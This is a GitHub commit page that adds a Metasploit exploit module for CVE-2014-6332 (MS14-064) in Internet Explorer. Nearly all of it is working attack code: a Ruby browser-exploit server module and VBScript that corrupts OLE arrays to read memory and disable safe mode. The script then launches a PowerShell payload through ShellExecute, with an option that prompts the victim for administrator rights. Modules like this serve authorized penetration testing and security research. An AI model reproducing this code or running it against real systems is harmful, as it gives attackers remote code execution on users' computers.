Skip to content

Commit f7f4a19

Browse files
wchen-r7wchen-r7
committed
Land rapid7#4255 - CVE-2014-6332 Internet Explorer
2 parents 48904c2 + 2a7d4ed commit f7f4a19

1 file changed

Lines changed: 315 additions & 0 deletions

File tree

‎modules/exploits/windows/browser/ms14_064_ole_code_execution.rb‎

Lines changed: 315 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,315 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
7+
require 'msf/core'
8+
require 'msf/core/exploit/powershell'
9+
10+
class Metasploit4 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::BrowserExploitServer
14+
include Msf::Exploit::Remote::BrowserAutopwn
15+
include Msf::Exploit::Powershell
16+
17+
autopwn_info({
18+
:ua_name => HttpClients::IE,
19+
:ua_minver => "3.0",
20+
:ua_maxver => "10.0",
21+
:javascript => true,
22+
:os_name => OperatingSystems::Match::WINDOWS,
23+
:rank => ExcellentRanking
24+
})
25+
26+
def initialize(info={})
27+
super(update_info(info,
28+
'Name' => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
29+
'Description' => %q{
30+
This module exploits Windows OLE Automation Array Vulnerability known as CVE-2014-6332.
31+
The vulnerability affects Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.
32+
Powershell is required on the target machine. On Internet Explorer versions using Protected Mode,
33+
the user has to manually allow powershell.exe to execute in order to be compromised.
34+
},
35+
'License' => MSF_LICENSE,
36+
'Author' =>
37+
[
38+
'Robert Freeman', # IBM X-Force
39+
'yuange', # twitter.com/yuange75
40+
'Rik van Duijn', # twitter.com/rikvduijn
41+
'Wesley Neelen', # security[at]forsec.nl
42+
'GradiusX <francescomifsud[at]gmail.com>',
43+
'b33f', # @FuzzySec
44+
],
45+
'References' =>
46+
[
47+
[ 'CVE', '2014-6332' ],
48+
[ 'MSB', 'MS14-064' ],
49+
[ 'OSVDB', '114533' ],
50+
[ 'EDB', '35229' ],
51+
[ 'EDB', '35308' ],
52+
[ 'URL', 'http://securityintelligence.com/ibm-x-force-researcher-finds-significant-vulnerability-in-microsoft-windows' ],
53+
[ 'URL', 'https://forsec.nl/2014/11/cve-2014-6332-internet-explorer-msf-module' ]
54+
],
55+
'Platform' => 'win',
56+
'Targets' =>
57+
[
58+
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
59+
],
60+
'BrowserRequirements' =>
61+
{
62+
:source => /script|headers/i,
63+
:ua_name => HttpClients::IE,
64+
:os_name => /win/i,
65+
:arch => 'x86',
66+
:ua_ver => lambda { |ver| ver.to_i.between?(4, 10) }
67+
},
68+
'DefaultOptions' =>
69+
{
70+
'HTTP::compression' => 'gzip'
71+
},
72+
'Payload' =>
73+
{
74+
'BadChars' => "\x00"
75+
},
76+
'Privileged' => false,
77+
'DisclosureDate' => "Nov 13 2014",
78+
'DefaultTarget' => 0))
79+
80+
register_options(
81+
[
82+
OptBool.new('TRYUAC', [true, 'Ask victim to start as Administrator', false]),
83+
], self.class )
84+
85+
end
86+
87+
def vbs_prepare()
88+
code = %Q|
89+
dim aa()
90+
dim ab()
91+
dim a0
92+
dim a1
93+
dim a2
94+
dim a3
95+
dim win9x
96+
dim intVersion
97+
dim rnda
98+
dim funclass
99+
dim myarray
100+
101+
Begin()
102+
103+
neline
104+
function Begin()
105+
On Error Resume Next
106+
info=Navigator.UserAgent
107+
108+
if(instr(info,"Win64")>0) then
109+
exit function
110+
end if
111+
112+
if (instr(info,"MSIE")>0) then
113+
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
114+
else
115+
exit function
116+
117+
end if
118+
119+
win9x=0
120+
121+
BeginInit()
122+
If Create()=True Then
123+
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
124+
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
125+
126+
if(intVersion<4) then
127+
document.write("<br> IE")
128+
document.write(intVersion)
129+
runshellcode()
130+
else
131+
setnotsafemode()
132+
end if
133+
end if
134+
end function
135+
136+
function BeginInit()
137+
Randomize()
138+
redim aa(5)
139+
redim ab(5)
140+
a0=13+17*rnd(6)
141+
a3=7+3*rnd(5)
142+
end function
143+
144+
function Create()
145+
On Error Resume Next
146+
dim i
147+
Create=False
148+
For i = 0 To 400
149+
If Over()=True Then
150+
' document.write(i)
151+
Create=True
152+
Exit For
153+
End If
154+
Next
155+
end function
156+
157+
sub testaa()
158+
end sub
159+
160+
function mydata()
161+
On Error Resume Next
162+
i=testaa
163+
i=null
164+
redim Preserve aa(a2)
165+
166+
ab(0)=0
167+
aa(a1)=i
168+
ab(0)=6.36598737437801E-314
169+
170+
aa(a1+2)=myarray
171+
ab(2)=1.74088534731324E-310
172+
mydata=aa(a1)
173+
redim Preserve aa(a0)
174+
end function
175+
176+
function setnotsafemode()
177+
On Error Resume Next
178+
i=mydata()
179+
i=readmemo(i+8)
180+
i=readmemo(i+16)
181+
j=readmemo(i+&h134)
182+
for k=0 to &h60 step 4
183+
j=readmemo(i+&h120+k)
184+
if(j=14) then
185+
j=0
186+
redim Preserve aa(a2)
187+
aa(a1+2)(i+&h11c+k)=ab(4)
188+
redim Preserve aa(a0)
189+
190+
j=0
191+
j=readmemo(i+&h120+k)
192+
193+
Exit for
194+
end if
195+
196+
next
197+
ab(2)=1.69759663316747E-313
198+
runaaaa()
199+
end function
200+
201+
function Over()
202+
On Error Resume Next
203+
dim type1,type2,type3
204+
Over=False
205+
a0=a0+a3
206+
a1=a0+2
207+
a2=a0+&h8000000
208+
209+
redim Preserve aa(a0)
210+
redim ab(a0)
211+
212+
redim Preserve aa(a2)
213+
214+
type1=1
215+
ab(0)=1.123456789012345678901234567890
216+
aa(a0)=10
217+
218+
If(IsObject(aa(a1-1)) = False) Then
219+
if(intVersion<4) then
220+
mem=cint(a0+1)*16
221+
j=vartype(aa(a1-1))
222+
if((j=mem+4) or (j*8=mem+8)) then
223+
if(vartype(aa(a1-1))<>0) Then
224+
If(IsObject(aa(a1)) = False ) Then
225+
type1=VarType(aa(a1))
226+
end if
227+
end if
228+
else
229+
redim Preserve aa(a0)
230+
exit function
231+
232+
end if
233+
else
234+
if(vartype(aa(a1-1))<>0) Then
235+
If(IsObject(aa(a1)) = False ) Then
236+
type1=VarType(aa(a1))
237+
end if
238+
end if
239+
end if
240+
end if
241+
242+
243+
If(type1=&h2f66) Then
244+
Over=True
245+
End If
246+
If(type1=&hB9AD) Then
247+
Over=True
248+
win9x=1
249+
End If
250+
251+
redim Preserve aa(a0)
252+
253+
end function
254+
255+
function ReadMemo(add)
256+
On Error Resume Next
257+
redim Preserve aa(a2)
258+
259+
ab(0)=0
260+
aa(a1)=add+4
261+
ab(0)=1.69759663316747E-313
262+
ReadMemo=lenb(aa(a1))
263+
264+
ab(0)=0
265+
266+
redim Preserve aa(a0)
267+
end function
268+
269+
|
270+
271+
end
272+
273+
def get_html()
274+
275+
if datastore['TRYUAC']
276+
tryuac = 'runas'
277+
else
278+
tryuac = 'open'
279+
end
280+
281+
payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true })
282+
payl.slice! "powershell.exe "
283+
prep = vbs_prepare()
284+
285+
html = %Q|
286+
<!doctype html>
287+
<html>
288+
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
289+
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
290+
<body>
291+
<script language="VBScript">
292+
function runaaaa()
293+
On Error Resume Next
294+
295+
set shell=createobject("Shell.Application")
296+
shell.ShellExecute "powershell.exe", "#{payl}", "", "#{tryuac}", 0
297+
298+
end function
299+
</script>
300+
<script language="VBScript">
301+
#{prep}
302+
</script>
303+
</body>
304+
</html>
305+
|
306+
307+
end
308+
309+
def on_request_exploit(cli, request, target_info)
310+
print_status("Requesting: #{request.uri}")
311+
send_exploit_html(cli, get_html())
312+
end
313+
314+
end
315+

0 commit comments

Comments
 (0)